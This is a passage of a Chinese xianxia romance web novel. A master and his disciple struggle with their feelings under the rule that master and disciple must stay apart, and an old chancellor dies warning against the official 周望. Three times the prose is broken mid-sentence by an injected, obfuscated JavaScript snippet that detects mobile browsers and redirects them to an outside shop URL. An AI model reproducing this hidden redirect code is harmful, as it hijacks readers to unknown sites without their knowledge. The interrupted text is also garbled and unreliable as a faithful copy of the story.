当应白和上官琛回到云景宫的时候得知云景宫已经将解药悉数喂给中毒的百姓了。 三皇子早就听云宫主说是应白用一根栏木条制伏了泥鳅精,结果之简单让三皇子都对云景宫无言以对。 云景宫将泥鳅精禁锢在了施有禁妖屏障的水缸里,准备净化其妖气,再将它送往寺庙里听佛经,改其心性。 三皇子对应白的好感度倍增,毫不知情地拉着着急回去的应白谈天谈地,直言紫阳宫是群英荟萃之地,眼看着已经到后半夜了,三皇子终于决定去睡觉。 上官琛说要给顾云萧带麻辣鸭头,硬是拉着应白明天再走。 “急什么,我娘说了,是你的跑不了。” * 容珠醒来的时候一时之间没反应过来自己是谁,在哪躺着。阴沉沉的日光从窗外照了进来,她睁着眼反应了一会儿才慢慢想起石碑再次被点亮以及来周望府上喝茶的事。 然后…… 她倏地掀被起身,静静观察着屋里的陈设、床边的帷幔以及身旁的这床被子,意识到不妙后,她飞快穿鞋开门,见一个女子正在院内扫地。 云轻见她醒了便将扫帚靠到树干边上前道:“容珠姑娘,周大人上朝去了,约莫再过半个时辰才能回来,厨房还有早膳,容珠姑娘用些吧。” 容珠不敢相信自己听到了什么,她明明记得自己是在午后来到周望府上喝茶的,怎么她却让自己用早膳! “我……我为什么会在这睡觉?”她像在问云轻,也像在问自己。 脑子的确一时之间想不起某些记忆,但她清楚地感觉到自己现在一身轻松,头疼脑热的毛病没了,明显是大好的状态。 云轻答:“容珠姑娘昨日和周大人喝茶的时候睡着了,周大人让我将您送去客房,您便睡了一晚。” 喝茶怎么会喝睡着了?她当时再难受发困也不至于连这点意志力都没有,更何况还硬生生在人家府上睡了一晚! 容珠掐了掐自己的虎穴,对自己的行径心生尴尬,又忆起对周望的警惕,实在不能将这件事轻易揭过,不过有一说一,她这觉睡得舒适安然,是从未有过的轻松自在。 “多谢你照顾我。”容珠对她一笑,心知不管怎样,她要走都得跟周望好好说一声才是,“那我去前厅等周大人回来吧。” 云轻在前头带路。不想今日朝会结束得早,周望刚回府,容珠在去前厅的路上冷不防便遇着他了,见对方眉眼含笑地问:“容姑娘昨晚睡得好吗?” 容珠勉强一笑:“昨日身体抱恙,没成想睡了过去,给周大人添麻烦了。” “容姑娘只是在床上睡觉,会给我添什么麻烦?”周望让云轻去厨房拿点早膳送去前厅,容珠本不想在周府逗留,但周望客气得很,说早饭就要按点吃,不吃对身体不好。 前厅的桌子上放着一本书,容珠本没注意,但坐下来的时候不经瞥了一眼,见这本书的书名叫做《师徒论》。 周望顺手把书放到一旁状若无事般提起:“这是我最近闲来无事翻阅的一本书,里头讲的都是师徒之间的礼仪规矩,做师父的,给徒弟传道授业解惑,做徒弟的要尊师知礼,时刻谨记师徒尊卑,不能乱了关系。” 周望撩起袖子去拿茶壶,原先缠纱布的手腕现在已经痊愈了,容珠记得昨日周望给自己倒茶时还缠着绷带…… 她静静观察了几眼,心里被他方才所说的话刺了一下,她“虚心”求教:“师徒关系便是师徒关系,又怎会乱了关系?” 她心中隐有不安,之前她便想过徒弟该不该喜欢师父这件事,当时她没想到去查书,现在她下定决心要找机会跟应白说出自己的情感,却突然冒出一本框着礼仪规矩的《师徒论》。 “朝夕相处,最能生情,不管是师父还是徒弟都不能有此心,因为师徒有别啊。” 周望抬起胳膊往自己的茶杯里倒茶,哗啦啦的水声在寂静的堂屋里不断敲打着人心,与此同时,外头风起叶落,一声闷雷炸响,雨点倾盆而下,将大地砸了个噼里啪啦。 * 颖城有名的鸭头店今日一开张就来了不少顾客。上官琛被应白搅得硬是起了个大早,二人刚准备出发便听一声雷响,紧接着下起了大雨。 “不行啊,这天气不适合御剑飞行。”上官琛故作愁容,望着乌云密布的天空眨巴了几下眼。 应白严肃道:“鸭头还是趁热吃好吃,凉了,顾小姐就该嫌弃了。” “走吧。”上官琛火速掏剑,给自己和应白湿了个避雨屏障,二人升至半空,在雨帘中穿梭。 “飞快点。”应白在后面催促着。上官琛叫苦道:“我灵力就这么多,已经是最快的了,你急我也急啊,但这急不得,这鬼天气,雨下这么大我连路都看不清。” 倾泻而下的雨珠在避雨屏障前形成了汩汩水流,遮挡了里头人的视线,就像那次在天上击杀魔龙一样,看不清周遭景象。 容珠慢慢在街上走着,她大可以御剑飞回紫阳宫,但此时此刻,她更想走路。 天空中,紫阳宫的弟子正在修补快要消失了的避雨屏障,被避雨屏障遮挡的地方,许多摊贩仍然在外面做着生意,逛街的百姓手里也拿着一把伞,毕竟都城不是所有地方都有避雨屏障遮挡。 她目光恹恹地看着四周景象,不远处一个卖发簪的摊主正招呼来来往往的女子来试戴,摊主是个大婶,从头到脚虽然打扮得简单却十分得体,让人一看就觉得干净清爽。 大婶做了几年生意,懂得锁定目标客户,眼瞧近处有个乌发粉面的美姑娘,她忙拿起摊上一支新货开口揽客。 “姑娘长得娇美,光头上这支珍珠簪可太素净了,看看我手里这个桃花簪,玲珑精致,坠着几串花瓣走起路来顾盼生姿,这花//蕊啊都嵌着珍珠,和姑娘的容貌很是搭配,我来给姑娘戴戴看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020614|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 容珠提不起兴趣,谢绝了摊主的好意。她走后摸了摸自己发间的那支珍珠簪,欲将它拔出,但一股强烈的反抗之意在心头踊跃。 她不喜欢这么做,不想这么做,如果师徒有别,不能生情,那她不说那句话就是,她把这份情藏在心里,况且簪子本来就是装点头发的,它又怎会知道自己突然不戴它的原因? 珍珠簪子又没有错……她又轻轻戴了回去,走了几步听前方有隐隐骚动,抬眸见远处一座府邸挂着白灯笼,一群人围在门口,沈宫主面色沉重地从大门走出。 * 远处的天空被雨雾笼罩,管家给周望递来一把油纸伞,他抬眸,浅色的瞳孔似乎能穿透云层看到千里之外的景象,他轻轻一笑:“不用,一会儿我便回来了。” * “阿琛,你是不是飞错方向了,从颖城回到紫阳宫应该不需要经过崖海吧?”应白低头,洒落的雨线簌簌下坠,隔着薄雾能看到底下是一片汪洋大海。 上官琛环顾四周,怪道:“我走的方向按理说不会经过崖海啊,崖海离颖城可远着呢,难道是方才风太大又兼云雾遮挡,我飞绕路了?” 风的确很大,有种群魔乱舞的感觉,吹得雨滴四处乱溅,二人身在屏障中虽不会被雨淋被风吹,但也深知外面天气复杂。 “有一会儿的确浓雾缭绕,风向有变,能让你毫无察觉飞偏了这么远,实在诡异。”应白拍了拍他的肩:“飞低点,我们需要看清路况。” 长枪会意,随着上官琛脚底传达的命令缓缓降低。一道黑影在乌云间穿梭,黑亮的身躯一闪而过,闪电似一把锐利的箭矢,劈开乌云给一股诡秘的狂风腾出了空隙。 长枪猛地一晃,上官琛和应白登时警惕,然而狂风冲撞着二人,应白几欲站不稳,避风屏障像是失了作用,连上官琛也控制不好它的武器,在海面上左右摇晃。 “怎么回事?应白,快抓住我!”上官琛的声音像是从千里之外传来。 应白预感不妙,在伸手想抓住上官琛的瞬间便觉脚底一滑,一股牛劲的风将他掀了下去,伸出的手掌和上官琛的手擦过,在上官琛大声的呼喊中,应白“扑通”一声落入了海里。 屏障不知为何触水消失了,寒凉的海水包裹全身,应白本能朝海面上游,但他忽感背后一动,佩剑上的水怪精丹遇水亢奋,“嗖”一下脱鞘而出。 应白当即在它要跑的时候握住了剑柄,然而下一瞬,佩剑带着他在海里狂奔,惊得鱼群四散开来。 他紧紧握住剑柄,任凭它在海里按照某条路线一路前行。他心中微惊,如果真去了那里可不是闹着玩的。 眼瞅着一座巍峨庄严的洞穴出现在眼前,应白手一使劲,想将佩剑调转方向,然而佩剑像个倔强的小孩儿,偏按照自己的意愿前行,不仅如此,还加快了速度,带着应白穿过了洞穴前的屏障直接飞到了洞穴里面。 “咣啷”一声,佩剑往地上一躺装死,应白立时警惕,先将四周看了个遍。 三月之期未到,魔龙此时应该在洞穴里沉睡,洞穴里寂静异常,几个火把将偌大的殿堂照得亮一片暗一片,应白并不能完全看清整个洞穴的景象。 他悄悄走了几步,视线扫过奚昤和苍望的神尊雕像,往左右两旁更深的地方观察。 当他站在偏殿入口时,发现里面昏暗无比,仅有的一点光亮在偏殿深处摇曳,照亮了一面宽大的墙,上面映照着的正是一个蜷缩着的龙身影子。 应白站在门口静静观察了一会儿,墙上的影子庞大无比,将龙角和胡须都照得清清楚楚,胡须随着魔龙的呼吸缓缓起伏着。应白垂眸看了一眼自己的佩剑,想着从此以后也得给它安一个“疯子”的称号。 他掉头准备离开这里,在经过苍望神尊的雕像时忽然想起了件事: “不能看!” “怎么了?什么不能看?” 应白驻足,到底是什么东西让容珠当时的反应这么大? 那件粉色的衣服是容珠从圣灵宫逃出来穿在身上的,那晚究竟发生了什么事? 他缓缓回头,看那石柱上的白光异常耀眼。 107. 惊喜 狂风静止了。 上官琛稳住脚底长枪,见应白半天还没从海里出来,知他并非不会游水之人,蓦地意识到这风不同寻常,偏偏这里是崖海,魔龙洞穴就在此处,但魔龙尚未苏醒,无法作妖,难不成还有其他异事? 上官琛没有深思,直接从半空中俯身而下。 海风从耳边呼啸而过,飞溅的雨水撞击着避雨屏障,上官琛莫名觉得冷意十足,唯有胸口那包麻辣鸭头的余温隔着衣衫传递到皮肤上,像贴着屏障弯曲流淌的雨水似的丝丝缕缕传遍全身。 海里视线不明,上官琛凭着记忆朝魔龙洞穴游去,也不知游了多久,越游越觉得自己游错了方向,越游越觉得应白会不会危在旦夕,就在他决定改变路线时,一抹萤蓝色的光芒好像从他的眼角余光中闪过。 是魔龙洞穴前的屏障! 上官琛眸光一变,加快了速度,当一整座魔龙洞穴出现在眼前时,他胳膊一挥,长枪在海里划出一道水花,他正准备冲进去,便与屏障后面一个人影对视上了。 火红的身影在暗沉的大海里像一道日光,应白看清海里人后先收起脑子里乱舞的思绪,拿着佩剑身子一倾越过萤蓝色的屏障过去会合。 上官琛眼神询问他“发生了什么事?”,应白摇摇头表示没事,却没有控制住自己的嘴角。上官琛颇为不解地眉头一皱,不明白应白为什么要笑。 “你在魔龙洞穴里没有发生危险吗?”出来后,上官琛看应白浑身湿透了,伸手把他肩膀上的海草拿掉,可惜这世上有避雨屏障却没有除水之力,不然他现在就能把应白的衣服烘干。 “真没发生危险的事,我看那魔龙在一个隐蔽处睡觉呢。”应白将佩剑收回鞘中,拧了拧两只袖子和下摆处的水,“然后我就出来了。” 他说得平静,湿衣服紧贴着胸膛,随着里头激烈的跳动而微微起伏。 他现在才知道自己以为的“真相”全是假象,硬生生让自己尝尽心酸泪与苦,不过苦尽甘来的那一瞬间,前头的酸苦也不觉得如何了。 从前,这件事对她而言是个不能说出口的秘密,而她还不知,秘密在此时悄无声息地被她想要隐瞒的人发现了…… 上官琛怪异地看着他:“你到底在笑什么?” “我没在笑,谁掉到海里还能笑出来?”应白抹了把脸上的海水,呈现出一副认真正经地模样。 雨小了许多,像羽毛似的轻轻扫着人的脸颊,让人心神荡漾。 由于上官琛已经是第二次看见他笑了,虽然应白的话有道理,但他也不相信自己看错了,于是总时不时瞥向应白,应白装作没看见,等到他和上官琛一前一后站在长枪上飞回紫阳宫时,应白才又露出了“真面目。” 其实,他看到那个画面的第一眼是不相信的。先不论容珠是不是真的在那会儿就对自己有了感情,那晚从窗户里飘出的香就可以让两个互不喜欢的男女控制不住。 但应白转而意识到,这个画面是白光里的景象,按照他的猜想,白光代表的是他们那个世界充满爱的一面,如果容珠是因为香才亲自己,这本就不能算得上真正的爱,又怎会出现在白光里? 容珠自小只有爹娘真心待她,她是个活在强者为尊世界里的弱者,她的压力和外界的冷漠都不足以让她明白或体会到更多的爱。 或许那个时候,她心生情愫却浑然不知,不过是香推了她一把,让她看似神智不清地做了过分亲密的事,实则却是真心之举。 那一吻,情真意切。 * 今日朝会结束得早,缘于赵皇帝身子不适,御医说赵皇帝乃是神思忧虑所造成的胸闷气短,最近要注意好好修养,赵皇帝便顺口下令免朝会三日。 眼下正是多事之春,每日都有各地知府呈报灾情现状,三日不上朝便意味着有很多事情要耽搁。 沈宫主看了眼前排靠左的空位,若三皇子在,朝政一事便可由他代为处理,可派出去监工的人只有三皇子还没回,沈宫主心里不免有些猜疑赵皇帝在打什么主意。 下朝后,沈宫主决定去看看病了几日的左相,本想叫着周望一起去,忽然想起来昨晚吃饭的时候没看见容珠,问了顾云萧方知容珠去了周望府上,而今晨顾云萧又激动亢奋地告诉她容珠昨晚没有回紫阳宫。 沈宫主倒不觉得二人会有什么,容珠去了哪里,干了什么,在哪儿睡觉都是她自己的事,一晚没回也不能就证明容珠是在周望府上睡的觉,即便真是这样,在别处借宿一晚也不是什么值得谈论的事。 她想的是依容珠的性格怎么会莫名其妙在周望府中借宿一晚?而且她现在的灵力御剑飞回紫阳宫又要不了多久…… 她找到周望邀请他一起看望左相,周望却说家中还有客,不便相陪,沈宫主开门见山地问:“周大人所说的客可是容珠?” 周望自是明白沈宫主的言外之意,他解释道:“容姑娘昨日身体不适,我便叫人将她挪去了客房,沈宫主如果关心容姑娘不如同我一起回去?” 身体不适倒是真的,沈宫主记得昨日遇见容珠的时候她有点风寒,想了想不放心,于是道:“既如此,我先去周大人府上,稍后再去看望左相。” 当二人出了宫门口后,一个候在路边焦急张望的男子终于等到了人,“沈宫主!” 他匆匆上前朝沈宫主一礼,“在下是左相大人长子,家父病危,命悬一线,临终前要见沈宫主一面!” 忽闻噩耗,沈宫主一惊,左相之子她见过几次,心知此人所言不假,她忙问:“左相不是小病吗,怎么会如此严重?周大人,事情紧急,不如我们先去探望左相!” 周望面色平静,像是知道什么似的没有表态,果然,那男子瞥了一眼周望后又补充道:“沈宫主,家父特地嘱咐我,只见您一人。” 左相府上安静异常,沈宫主刚踏入门槛便感觉四周的庭院高墙散发着一片死寂。 长子步伐又急又快,因为他知道父亲自去年挨了板子后便伤了身子骨,前段时间虽康复,但大夫说必须要静养,不能再劳思伤神。 可父亲说自己身为君臣,一生都是为国效命,病了要尽力好起来,好起来继续效力朝荣国,他做了三朝臣子,这条命,这一生都要在辅君治国这条路上前行到底。 赵皇帝赏他三十大板,他这垂垂老矣的身子的确经受不住,可他只要一想到陛下有可能是被魔龙蛊惑,魔龙之患还未除,他心里就吊着一个未完成的任务,时时提醒着自己必须要重回朝堂,与众大臣共同排除万难。 他虽在家中躺着,却总是让仆从和儿子们外出打听朝荣国的事迹,从周望破了刘府的杀夫案到他解决了各地百姓纷争这些事来看,左相为赵皇帝得了一个能臣而感到高兴。 他好不容易病体痊愈终能上朝,做好了全身全心继续为朝荣国排忧解难的准备,可……可…… 长子走得太快,急得背后出了一层汗,他远远朝立在门口的婢女招手,婢女忙把门打开,长子带着沈宫主进了屋。 房间暗沉沉的,烛火的气味像在预告着什么,沈宫主看着床上微微凸起的那具身躯,心似被石头压住了般漏跳了一下。 床边围着一群人,左相夫人正以绣帕拭面,其他儿女孙子都立在一旁,默默地抹着眼角。 “父亲,父亲。”长子轻轻握住左相枯瘦的手呼唤他。床上的左相瘦如木柴,相较于前几日上朝时的面容判若两人,沈宫主蓦地心中一惊。 “来,来了吗?”左相的眼皮艰难地睁开了一条缝,他嘴唇微动,半晌才从喉间说出一句模糊不清的话。 长子与左相父子连心,他当即回答:“来了,儿子把沈宫主带来了。” “沈,沈宫主。”左相气若游丝,一双眼直直地看着床顶,连转动眼睛的力气都没有了,他心里还吊着件事没说,为着这事,他必须要撑到这一刻。 “小心……周望……保,护,朝,荣,国。” 他每一个字都说得极慢,中间间隔了好长时间,最后一个字是沈宫主根据口型辨别出来的。 屋里静默了好一会儿,紧接着哀戚的声音此起彼伏,沈宫主惊愕地看着闭了眼的左相,不敢相信三朝元老,年岁近百的左相就这样离开了人世,不敢相信忠心为国,鞠躬尽瘁的左相会让自己小心一个贤臣。 大夫说,左相是忧思过虑,身心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027159|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俱疲,原本引出了一个小毛病,若能心气舒畅倒能医治,可是左相终日为着朝堂事愁思叹气,高龄的身子支撑不住心绪起伏,终是倒了过去,一病不起,直至撒手人寰。 府上的人都心知肚明,早早备下了棺材。沈宫主站在左相府外看着仆从们往房檐下挂白灯笼,黑漆的“奠”字在阴雨绵绵的天气里刺得眼酸。 大门外的白灯笼引来了陆陆续续的百姓,沈宫主走出人群决定去周望府上找容珠,没想到一抬头便见容珠正站在大街上惊奇地看着自己。 * 两刻钟后,上官琛带着应白直接飞到了紫阳宫后园,远远看见顾云萧在和金毛掷球。 听见声音,金毛朝半空中两人叫了一声,两只前爪上抬,挺起半个身子,很像一个要抱抱的小孩。 顾云萧看见上官琛真的找到了应白,一想到容珠去了周望府上后一夜未归和应白也喜欢容珠这件事,她就激动不已。 这些年她游历山川见了不少帅哥追美女的事,但帅哥与美女、师父与徒弟、朝臣与女侠这三种关系融合在一起的感情便是闻所未闻,见所未见。 她先控制了一下内心的激动,先朝上官琛伸手道:“鸭头带了没?” 其实顾云萧话刚说完,就从他们飞身而下带的一股风里闻到了香喷喷的味道。上官琛从怀里把东西掏出来递给她,“可能不热了,凑合着吃吧,你知道容珠在哪吗?” 上来就问重点!顾云萧心里一阵激动,“她……” 她一双乌黑溜圆的眼睛瞅了眼应白,“她昨天去了周大人府上,到现在还没回来。” 她觑着应白的神色,发现他一点伤心难过失望震惊的情绪都没有,没有按她所预想的情况发生,怎么可能? 顾云萧的话倒是把上官琛吓了一跳,他瞅了眼应白后忙把顾云萧拉到一旁低声道:“你别胡说八道,现在不是开玩笑的时候。” “我说的是真的,我要开玩笑也不会拿这种事开玩笑,在你眼里我就是这种人吗?”顾云萧揣着麻辣鸭头挖了他一眼。 正巧这时,有几道声音从不远处传了过来,应白循声望去,见容珠和沈宫主正并肩往这儿走。 回来的路上,沈宫主已经得知昨晚事情的来龙去脉,她还没有把左相说的话告诉容珠,因为左相在她眼里是良臣忠臣,周望在她眼里也是良臣,她不知道左相为什么要指责周望,没有发现端倪的事就不能宣之于众,至少她得先观察观察周望再下定论。 “你看,人不是回来了吗。”顾云萧指着那边二人,容珠和沈宫主听着声音齐齐朝这边看来,看到应白的瞬间容珠心里蓦地一紧,“师徒有别”四个字提醒着她,像一扇门似的把不该涌动的情绪锁了起来。 应白目不转睛地看着不远处的少女,忽然想起那天容珠的未竟之语:“师父,我,有一件事想跟你说。” 那天她目光灼灼,神色异常,他以为她要跟他说她和周望的事,现在想想,肯定另有他言。 金毛发现上官琛和顾云萧都没有“抱自己”的意思,便朝沈宫主伸爪,沈宫主一手握着它脏兮兮的爪子,一手摸了摸它的头道:“阿琛,一会儿你带着金毛去剪剪指甲,给它洗个澡,看它身上的泥,这么漂亮的毛都不像样了。” “好!”上官琛爽快答应,对顾云萧说:“金毛太大了,我一个人顾不过来,你跟我一块洗。” 闲杂人等呼啦啦走光了,容珠发现应白的目光一直落在自己身上,察觉到对方有话要对自己说,便试着问:“师父,你找到灵根草了?” “没有。”应白眉眼含笑。 容珠发现他头发闪着水光,立在原地问:“怎么衣服湿了?” “我不小心掉海里了。”应白依旧眉眼含笑,甚至多了丝傻气。 “啊?怎么会掉海里?” 应白往前一步,离她近了些,“这不重要,容珠,你是不是有什么话要对我说?” 容珠心里没来由地紧张,她确定应白此刻的目光不同寻常,这种殷切热烈的情感搅动得她心神不宁,她不知道应白为何突然回来又突然用这种炽热的目光看着她,她咽了咽口水,坚定道:“没有。” 108. 通心 “没有吗?”应白眨了下眼,“可我有话对你说。” 他双手背在身后,身子微微前倾放低,平视她的眼睛。 容珠呼吸一滞,睫毛不自觉忽闪了一下,看着近在咫尺的这双充满探究的眸子,她有一瞬怀疑对方不会知道了什么吧? 她当即否认了这个猜想,先前应白突兀地离开去找灵根草,容珠总觉得和他之间有了点异样的距离,现在他突兀地回来,忽然又呈现出一副神秘的贴近感,这般变化分明是寻找灵根草期间产生的,他不可能知道什么啊,灵根草也没找到,还有什么事让他看起来这么高兴? 难道! 那道无人认领的石碑印记是他点亮的! “容珠。”应白将脸上十分笑意里的七分化作了认真,“你想和我一起去找灵根草吗?” “嗯?”现实与猜测毫不相干,容珠千想万想也没想到应白要跟他说这个。 想啊。 心声没经过她同意说了出来,突突地跳。 容珠却觉得和师父去找灵根草也成了一件禁事。因为她心思不纯,好像跟师父做什么都是不对的,师徒有别,可这种情感也不是说消失就能让它消失。看不见应白会思念,看见了他心又控制不住想靠近。 从她决定要跟应白说出自己心意的那一刻起,她像是冲破了栅栏的马,偏偏这个时候有人跟她说师徒有别,要把她赶回栅栏里。 她七拐八拐,不往前走也不回栅栏,她知道规矩却不想这么做,她更知道,如果日后天天跟应白在一起,她指不定要忍不住干出什么事来,所以,她不能…… “容珠,我需要灵根草除了为将来面对圣灵宫做准备外,还想和你一起修炼。如果我也有灵力,我就是一个合格的师父,既能教你剑法还能和你灵力切磋。但你我的人生除了修炼外还会遇到很多其他的事,在我心里,你不只是我的徒弟,更多时候,我只将你看作一个想要爱护的姑娘罢了。” 虽然应白在白光里看到了当初容珠不让自己看的画面,但他回想和容珠相处的种种回忆,再无迹象表明容珠对自己有情。 那天她坐在自己身旁郑重其事要对自己说的事究竟是什么,应白也不想过于着急知道答案。 男女之情一向是晦涩懵懂的,跟高阶功法需要长时间修炼领悟是一个道理。不论容珠究竟有没有发现自己的心还是她真的想跟自己说什么但不知出于什么原因不愿说了,应白都想循序渐进。 感情是两个人的事,他再怎么着急想和容珠变换关系,也得先知道容珠心里到底在想什么。 “完了。”容珠呆立在原地,不敢相信她以为的风平浪静的师父竟也成了奔出栅栏的马!难道“师徒有别”这个规矩要被他二人硬生生冲撞稀碎吗? 且不论为什么应白自回来后突然跟她说了这些意味深长的话,光是知道应白已经第二次对她隐晦表达心意这件事,容珠便差点把持不住越膛而出的心。 她甚至意识不到在自己听完应白说过的话后,胸腔里激烈的跳动连带着神色也控制不住慌乱起来,这个表情无异于直接告诉应白,容珠听懂了他在说什么。 然而这个表情同样在告诉他,容珠心有顾虑。 应白看着她低垂的眼睫道:“如今我们身处朝荣国,接触到的都是我们那个世界曾经没有的东西,如果你有修炼之外不明白的事大可以同邱梧和沈宫主讲,他们懂得的定比我们多。” 是啊……容珠转念一想,她可以问沈宫主“师徒有别”是否真的像周望所说那样不能产生感情? 如今她和应白这两匹“马”没人牵绳,她和他都不能只凭着感情随心所欲,为了避免发生什么严重的事情,她必须要及早弄清楚。 对她来讲,帮应白找到灵根草不是让他做一个合格的师父,应白有没有灵力都能教她修炼。他是只飞鸟,既是鸟,怎么会甘愿没了翅膀,既是鸟,就应该海阔天空,任意驰骋。 “师父。”容珠像他认真看自己一样认真地看着他,“你对我的好我都知道,在我心里没有人可以替代你,灵根草不好找,如果我能帮到师父那便最好,我们的世界需要像朝荣国一样充满欢乐,我和师父一起,我们是一个世界的人。” 应白的眼睛明显亮了亮,容珠看他如此反应心道这样不行,又补充道:“不过正如师父方才所说,我来到朝荣国的时日尚短,很多事情还不懂,要不是别人跟我说,我都不知道,我……” “别人跟你说什么了?”应白捕捉到了关键点,他下意识认为这件事跟容珠的顾虑有关。 容珠嘴巴半张,心道要是应白知道师徒有别就不会老跟她表白了,问他没用。 “师父刚才说了,不懂的可以问沈宫主。” “不能问我吗?”应白的好奇心被勾到了极点,他目含期待,眼底涌动着不开心,不是因为容珠不告诉他,而是在腹诽到底是谁跟容珠说了什么。 “那……师父可知马应不应该被关在栅栏里?” “嗯?” * 午后,天又下起了雨。 上官琛在给金毛洗澡的时候发现它的一只狗爪上有块血痂,伤口不大,猜测是在玩闹的时候碰着石头了。他摸了摸它的伤口,金毛很会事地叫了两声。 “疼吗?”上官琛也配合,揉了揉它的脑袋,金毛突然着急起来,轻轻咬了咬上官琛的裤腿,转身就要朝屋外走,上官琛两条胳膊架着它把它放进了水桶里,“身上这么脏,洗干净了再出去。” 金毛身上着实脏,上官琛用了三桶水才把它洗干净,期间金毛甩了十次毛,混着皂荚泡沫的水溅了上官琛一身,火红的衣服上斑斑点点都是水渍,头发也湿得打绺了。 若说从前,金毛每次洗完澡后都会一溜烟跑别处玩,这次却一直跟着上官琛,不停地抬起它的前爪,让主人看自己的伤口。 “行了,行了,别演了,都结痂了还想怎么着?”金毛惯会撒娇卖萌惹人怜爱,上官琛已经看透了它的把戏,他拿上换洗衣服准备去澡堂,临走前对金毛煞有其事说:“刚洗完的澡,别出去疯,乖。” 金毛坐在地上看他,直到上官琛的身影消失不见了,它也没有离开。 紫阳宫的澡堂离弟子们的住处很近,这个时辰弟子们正在上剑课,按理说澡堂里应该没有人。 上官琛掀帘子进去,各种澡豆的清香混合着热气腾腾的水汽粘附在人身上,橱柜里整整齐齐摆放着一应洗澡物什,转过屏风便是足足能容纳几十人的大浴池。 浴池被垒起来的几处石墙隔出了好几块区域,上官琛将脱下来的衣服随手扔在衣架子一边,把要换洗的放在另一边,他正准备赤脚下水,忽然发现不远处的浴池边还摆着一双鞋。 整个浴池很安静,没有洗澡的哗哗声,弟子们都喜欢坐进去一动不动地干泡着,这个时候虽说在上课,但有弟子偷跑出来单独享受整个澡堂这种事也发生过,上官琛没在意,他半个身子淹在水里,打湿了巾子正准备搓…… “咕嘟咕嘟……”不远处的水面冒着气泡,上官琛还没细看便听“呼啦”一声,鞋子的主人猛然从水下现身,流淌在脸上的水压着他的睫毛,他双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031817|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半睁,一动不动地看着上官琛,眉间的忧郁随着溅起的水花直击上官琛眼底,他拿着巾子的手停在半空中,被眼前的情景吓了一跳。 “阿琛,你知道马应不应该被关在栅栏里吗?” 水雾蒸腾,应白眼眸湿润,水珠顺着他脸上的轮廓滑到下巴,一滴一滴落在浴池里,像个平静哭泣的人,没有一点喧嚣,而在那温和细腻的双眸里,全是破碎的水光。 上官琛又惊又奇地看着他,他本以为应白是故意吓他,想骂他一句,但看他神色凝重,问的问题又没头没尾,上官琛反应了一会儿,试探性地问:“马不是应该关在马棚里吗?” 应白无声地叹了口气,心知上官琛也不知道答案,他仍抱着希望问:“这句话在朝荣国没有别的意思?” 上官琛把巾子搭在肩上摇摇头:“我从没听过这句话,是容珠问你的吗?” 应白沉默,随即悲伤的眸子凝聚了一层利光,他把两只胳膊搭在池壁上,沉声道:“有人对容珠说了什么。” “说了什么?”上官琛边搓身边看他,“挑拨离间?” 应白眼眸倏地一变,两个月前的某个记忆在脑海里乍现,那句“一日为师终身为父”的话蓦地提醒了他,他后知后觉,恍然大悟:“是他。” 蒸汽升腾的浴池里不知从哪里忽然吹进来一阵凉风,上官琛先是动作一滞,继而拿巾子狠拍了下水面气道:“又是周望!” 浴池里的水激烈地荡漾,一下一下漫着二人胸口,“昨日也不知他说了什么把容珠带走,凭他是什么“仙君”“大人”的,我就不喜欢他,跟魔龙一样讨人厌,我看他就是别有居心……” 说到这里,上官琛双眼睁得比葡萄还大,“他定是知道你也喜欢容珠,所以才对容珠胡说八道了什么!” 在上官琛说话的空当,应白已经约莫猜出周望会跟容珠说什么,他越发觉得周望在那时便在提醒自己,自己是容珠的师父,不能对她有别的想法,那他肯定也对容珠说了类似的话,所以容珠的神色才会含着顾虑。 可这跟马应不应该关在栅栏里有什么关系? 应白自个儿摇了摇头,心想这个无关紧要,如果容珠真是因为师徒关系才一直隐藏自己的情意而并非她不懂,或者没看清自己的心,那他真是一点也不了解她。 他不了解她,他一直将她看作一个懵懂纯真的姑娘,一个需要呵护保护的女子,可是她早已不是灵力低微,被人恶称为“废物”的那个他初次见面的女子了。 那个世界带给她的是眼泪,朝荣国带给她的是除眼泪外的其他一切,他忘了,人总会成长。 见应白认真沉思了半天没动静,上官琛已经没心思搓澡了,“你到底问她了没?如果你俩两情相悦,那周望再费心思也没用!” 现在困扰应白的不是容珠喜不喜欢自己,和她的那番话已经互通心意,横插在二人之间的是师徒身份。 其实应白不觉得这有什么,他从来没把容珠当成他的徒弟看过,他一直觉得和容珠的师徒关系不过是个名义上的称呼,但他这么想没用,容珠是实实在在把他当师父看的。 